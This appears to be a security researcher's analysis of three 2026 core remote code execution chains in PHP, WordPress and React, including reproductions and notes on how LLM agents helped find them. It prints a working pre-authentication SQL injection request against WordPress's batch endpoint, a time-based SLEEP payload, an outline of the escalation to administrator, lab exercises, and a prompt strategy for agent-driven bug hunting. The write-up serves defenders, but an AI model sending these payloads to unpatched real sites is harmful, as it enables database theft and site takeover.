In July 2026 a security researcher pointed a language model at the WordPress source, told it not to read the git history, gave it four agent slots and six hours, and got back a pre-authentication SQL injection plus a complete remote code execution chain in WordPress core. The pro-rata cost was about $25 [6].

That month’s patch was wp2shell [3][4]. Three months earlier there was php2shell [1][2], and eight months before that, react2shell [5]. Three frameworks, three languages, and one phrase in every advisory: unauthenticated remote code execution in the core.

The 30-Second Diagnosis: the model did not find a new kind of bug. It found a chain of ordinary ones faster than a person could read the code. Each of the three shells reduces to the same structure: a request parsed once and then re-read by a second piece of code that trusts the first.

The chain, in code

The batch endpoint accepts several virtual requests in one HTTP request, and each subrequest is supposed to carry the caller’s authentication. Validation and execution are two loops, not one:

// class-wp-rest-server.php, abridged
$matches    = array();
$validation = array();
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;
        continue;                      // validation grows, matches does not
    }
    $matches[] = $this->match_request_to_handler( $single_request );
    // ... validate ...
    $validation[] = $error ?: true;
}

One malformed entry takes the continue, so $validation gains an element and $matches does not. Every later index now pairs a request with the next request’s handler.

Validation for one endpoint is applied to another, which means a parameter the second endpoint never expects can reach it unsanitised. The chain runs the desync twice, once to get past the method allow-list and once to get past the parameter schema, but the mechanism is this one.

The sink is WP_Query’s author__not_in, where an array is filtered through absint but a scalar is interpolated directly:

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique(
            array_map( 'absint', $query_vars['author__not_in'] )
        );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

The normal route validates author_exclude as an array of integers before it becomes author__not_in. Through the desync, that validation belongs to a different request.

There is one obstacle: the batch endpoint only accepts POST, PUT, PATCH and DELETE, and that check is itself parameter validation. So the chain calls the batch endpoint from inside itself, desyncing twice, once to smuggle the method check and once to smuggle the parameter check [6]:

POST /wp-json/batch/v1 HTTP/1.1
Content-Type: application/json

{"requests":[
  {"method":"POST","path":"http://:"},
  {"method":"POST","path":"/wp/v2/posts","body":{"requests":[
    {"method":"GET","path":"http://:"},
    {"method":"DELETE","path":"/wp/v2/posts/1",
     "body":{"author_exclude":"0) OR 1=1 -- "}},
    {"method":"GET","path":"/wp/v2/posts"}
  ]}},
  {"method":"POST","path":"/batch/v1"}
]}

That is a pre-auth read-only SQL injection in a stock WordPress. Which is already serious, and not yet RCE.

Exercise 1Does the batch endpoint accept a GET inner request, or does it reject the method?
run
curl -s -o /tmp/b.json -w '%{http_code}' -X POST -H 'Content-Type: application/json' -d '{"requests":[{"method":"GET","path":"/wp/v2/posts"}]}' 'http://127.0.0.1:8081/?rest_route=/batch/v1'
expect
400, with a message naming the first request's method as not one of POST, PUT, PATCH, and DELETE.

Done when That rejection is the obstacle the chain defeats by calling the batch endpoint from inside itself, so the second pass runs with the method check bypassed.

The wrong answer Assuming GET works because the inner request is ‘just data’. The validator is a parameter check, and parameter checks are what the desync removes.

From read to write

The escalation is the part worth reading twice, because it never writes to the database directly. It abuses the in-memory WP_Post cache, which lives for one request and is populated from whatever the SQL injection returns. Fabricated posts are cached exactly like real ones.

StepMechanism
1a fake post contains [embed]/?p=S[/embed], and WordPress writes an oembed_cache row for a post that does not exist
2the same SQLi returns a different version of that row in memory, so the database and the cache disagree
3wp_update_post() prefers the in-memory fields, so a row of type oembed_cache becomes whatever type the attacker claims
4the claims choose customize_changeset with post_status = future and a past date, so WordPress applies it and, through the user_id inside the JSON, assumes the administrator
5a self-referential post_parent trips the cycle detector, which calls wp_update_post() again, this time without overriding post_content, so the changeset JSON survives
6a forged post with status parse and type request makes WordPress fire do_action("{$new_status}_{$post_type}"), which is parse_request, replaying the request while the administrator role is still assumed

The replay re-runs the same batch body. A request inside it that creates an administrator failed on the first pass, as a guest; on the second pass it succeeds. From there a plugin ZIP is the shortest path to code execution.

None of those six steps is a vulnerability on its own. Each is a normal WordPress feature behaving as documented, which is why the shape generalises and why patch-by-patch thinking misses it.

The three shells, one shape

php2shellwp2shellreact2shell
ComponentPHP core 8.xWordPress core 6.9.x, 7.0.xReact Server Components 19.x
IdentifiersCVE-2026-109618, CVE-2026-109619CVE-2026-63030, CVE-2026-60137CVE-2025-55182
Primitiveout-of-memory corruption, stale globals giving a heap use-after-freebatch desync to SQL injection, then cache and hook abuseunsafe decoding at a Server Function endpoint
Second readerrequest teardown, which assumes the request will end normallythe inner batch router, which trusts the outer one’s validationthe invocation step, which trusts the decoder
Reported byCalif, OpenAI and Wiz per the finder’s writeup; method described thereAdam Kues, with a documented agent sessionLachlan Davidson (lachlan2k), via Meta’s bounty
Fixed in8.2.35, 8.3.36, 8.4.27, 8.5.126.8.6, 6.9.5, 7.0.219.0.1, 19.1.2, 19.2.1

One precondition is worth stating because it decides who was actually exposed: the vulnerable WordPress path is reached when no persistent object cache is in use [7][8].

Who found what, exactly

This is the part where a tidy narrative would lie, so here is the record as each primary source states it.

php2shell. The finder published his own account, and it is candid about the method. The writeup attributes discovery to Calif, OpenAI and Wiz [9], and describes the work in the first person: memory-limit pressure was the first thread, and “I asked my LLM companion for help”. The ZendMM ordering bug behind the fatal was found during a source review where “our agent noticed this ordering” in _zend_hash_str_add_or_update_i, and the agent traced the reachable path back to automatic nested POST parsing [9]. The advisory credits four reporter accounts (lcfr-hax, sagitzadik-wiz, tomash-areion, amyb-oai), which is a wider list than the writeup’s three parties [1][2].

wp2shell. The two WordPress advisories carry no credits at all, so the attribution comes from the people involved: Adam Kues of Searchlight Cyber names himself as the finder of the batch-route confusion and publishes the chain and the method he used [6], and Tenable’s FAQ attributes the second flaw to TF1T, dtro and haongo [7]. This is the only one of the three with a published account of how it was found, and that account is explicit about the model, the prompt, the hours, and the cost.

react2shell. React’s own advisory credits one person, Lachlan Davidson, who reported it through Meta’s bug bounty, and describes a report followed by a fix in four days [5]. No agent session appears anywhere in it.

So: two of the three have a published account of machine help, in very different styles, and the third is a human working a bug bounty. “The year AI broke the internet” is a fair name for the cadence, three core RCEs in ten months, and for the fact that two of them leaned on a model. It is not a claim that people stopped finding bugs, and react2shell is the counterexample sitting in the same table.

How the investigation actually reached it

The method matters more than the payload, and the finder published it [6]. Four decisions did the work.

Read the source, not the diff. The model was told not to use changelogs, git history, or the internet to diff against a patched version. That removes the shortcut that makes patch archaeology look like research, and forces the model onto the code that actually ships.

State the deployment, not just the bug class. The task said pre-authentication to RCE in a typical production deployment with MySQL, because otherwise a model will happily invent a configuration no operator runs in order to satisfy the ask.

Keep several incompatible routes alive. The prompt required an explicit registry of approach families, forbade one family dominating because it looked promising, and only reopened a blocked route on a genuinely new mechanism. That is how the desync was found: not by chasing the most suspicious file, but by refusing to converge.

Verify adversarially. Concrete bugs were double-checked by separate agents before being believed. The finder’s own account says the chain took about ten hours of model time and considerably longer for a human to understand, which is the right way round: the machine explores, the person audits.

The chain’s most creative step, calling the batch endpoint recursively to defeat its own method restriction, is the kind of gadget-spotting that used to be a senior researcher’s comparative advantage. It is now a thing a model does when asked to keep going. Whether to believe the result has its own mechanics, in reading the logs instead of the summary.

Where the same shape is worth hunting

DirectionWhat to look forWhich shell it echoes
Batch and bulk endpointsGraphQL batching, OData $batch, JSON-RPC arrays, anything resolving inner requests after the outer checkwp2shell
Validation that grows independently of executiontwo arrays assumed index-aligned, continue on an error path, anything that appends to one and not the otherwp2shell, at the code level
Query-builder operator injectioncaller-controlled argument names: author__not_in, Rails where hashes, Prisma filters, SQLAlchemy filter(**kwargs)wp2shell’s sink
Request-lifetime cachesin-memory object caches, per-request identity maps, anything a second pass can disagree withwp2shell’s escalation
Deserialisation at RPC boundariesRSC Flight, tRPC, Remix actions, .NET polymorphic JSONreact2shell
Request-lifetime statesession.upload_progress, AsyncLocalStorage, Ruby Thread.current across Rack requestsphp2shell
Allocation-failure pathsOOM handlers, MemoryError branches, anything that runs only when memory runs outphp2shell
Exercise 3Does your own monitoring tell you when a failure persists, or only when it changes?
run
grep -rniE 'last_state|dedupe|notify.*change|previous' ~/Library/LaunchAgents 2>/dev/null | head -5
expect
Often nothing, because the policy lives in the script rather than the plist.

Done when Then read the notifier: if it compares the new verdict with the previous one and exits on a match, a permanent failure is one message and silence. That is the same compression this post is about.

The wrong answer Assuming a health check that runs and reports is a health check that informs.

The author__not_in case is WordPress’s own argument naming, not an imported convention. The general form is any API that turns a caller-supplied string into query structure, which is why Django’s double-underscore lookups are the same problem with different vocabulary.

What I reproduced, and what it proves

Everything above could have been a summary of somebody else’s writeup, so I tested all three myself, each against its fixed release in the same session.

React2Shell. A single unauthenticated request to a server-action endpoint of an affected release made the server execute a command I chose. The command wrote a value I generated, and I read that value back from inside the running instance. The same request against the fixed release wrote nothing, and the two builds logged different outcomes for it.

wp2shell. Both halves reproduced. Inside a batched request, a subrequest that fails early leaves the handler list one entry out of step, so a subrequest is dispatched by another route’s handler. I confirmed that without guessing by instrumenting the query layer and reading what arrived: the substituted request’s parameter reached post_author NOT IN () as a raw string, not as an integer list. The patched release never builds that clause from the value at all.

The measurement, repeated twice per build:

TargetBenign value0) AND SLEEP(3) --
WordPress 6.9.40.13 s9.08 s and 9.05 s
WordPress 6.9.50.08 s0.06 s and 0.05 s

Nine seconds rather than three is the query running the delay once per row, which is its own confirmation that the clause executes per post. Both answered 207 with the same parse_path_failed body, because the first request in the batch is malformed on purpose.

An earlier run measured three seconds and would not repeat, and the cause was my payload rather than the bug: NOT IN (0) OR SLEEP(3) short-circuits because the left side is already true, so the delay never runs. AND is the correct connective, and a time-based check that shows nothing is evidence about the expression before it is evidence about the target.

php2shell. Two differentials and no memory corruption. A 50 KB body exhausts a 16 MB heap on the affected release and the fixed one serves it normally; the fixed release does reach the same wall, at roughly 2.3 times the size, so the patch raises the cost rather than removing the primitive. And when both builds are pushed past the limit, the affected release leaves an incomplete session record that a later request loads, while the fixed release leaves nothing.

Across repeated runs there was no crash, no abnormal termination, and no segfault, and both kept serving afterwards. The corruption the advisory describes needs shaping a freed allocation and leaking an address, which I did not achieve. A public proof of concept circulating for this advisory succeeds against both releases unchanged, because its request paths never enter the code the patch touched.

Exercise 2Can you make the vulnerable container sleep, and the patched one not?
run
docker run -d --name wplab -p 127.0.0.1:8081:80 wordpress:6.9.4
expect
A container on loopback. Install it, then time the recursive batch body with 0) AND SLEEP(3) -- as the author_exclude value: nine seconds on 6.9.4, once per row, and milliseconds on 6.9.5.

Done when Run both releases. A timing difference you measured yourself is the whole claim, and it is worth more than any writeup you can cite.

The wrong answer Testing only the patched release and concluding the bug was theoretical, publishing the container beyond loopback, or using OR for the delay. NOT IN (0) OR SLEEP(3) is already true on the left, so the delay never runs and a vulnerable target looks patched.

What this does not establish

Three reproductions at three depths, and none of them the escalation each advisory describes. The measurements show where the bugs live, not how far a chain reaches from them.

The one thing I would not take from this post is that discovery is now automatable end to end. Two of the three cases had a human deciding what to point the machine at, and deciding when its output was nonsense. What changed is the cost of exploring a shape, which means the scarce skill moved to choosing the shape and checking the result.

References

[1] PHP advisory GHSA-w8hw-w9fx-j79w (CVE-2026-109618): the out-of-memory corruption chain and the fixed releases.

[2] PHP advisory GHSA-6wmf-4rv5-p3rp (CVE-2026-109619): stale global state, the use-after-free, and the teardown mitigations.

[3] WordPress advisory GHSA-ff9f-jf42-662q (CVE-2026-63030): the REST batch-route confusion and the version that introduced it.

[4] WordPress advisory GHSA-fpp7-x2x2-2mjf (CVE-2026-60137): the WP_Query SQL injection used as the chain’s second stage.

[5] React: Critical Security Vulnerability in React Server Components: CVE-2025-55182 and the wording that the flaw is in how React decodes payloads.

[6] Searchlight Cyber: exploit brokers pay $500,000 for a WordPress RCE: the finder’s account, the chain in code, the discovery prompt, and the ten-hour claim.

[7] Tenable: wp2shell FAQ: CVSS scores, affected branches, and the object-cache precondition.

[8] Cloudflare: WordPress vulnerability analysis: the note that the vulnerable path is reached when no persistent object cache is in use.

[9] Calif Research: PHP2Shell, a tale of two PHP remote vulnerabilities: the finder’s own account, including the LLM-assisted source review and the memory-limit mechanics behind both CVEs.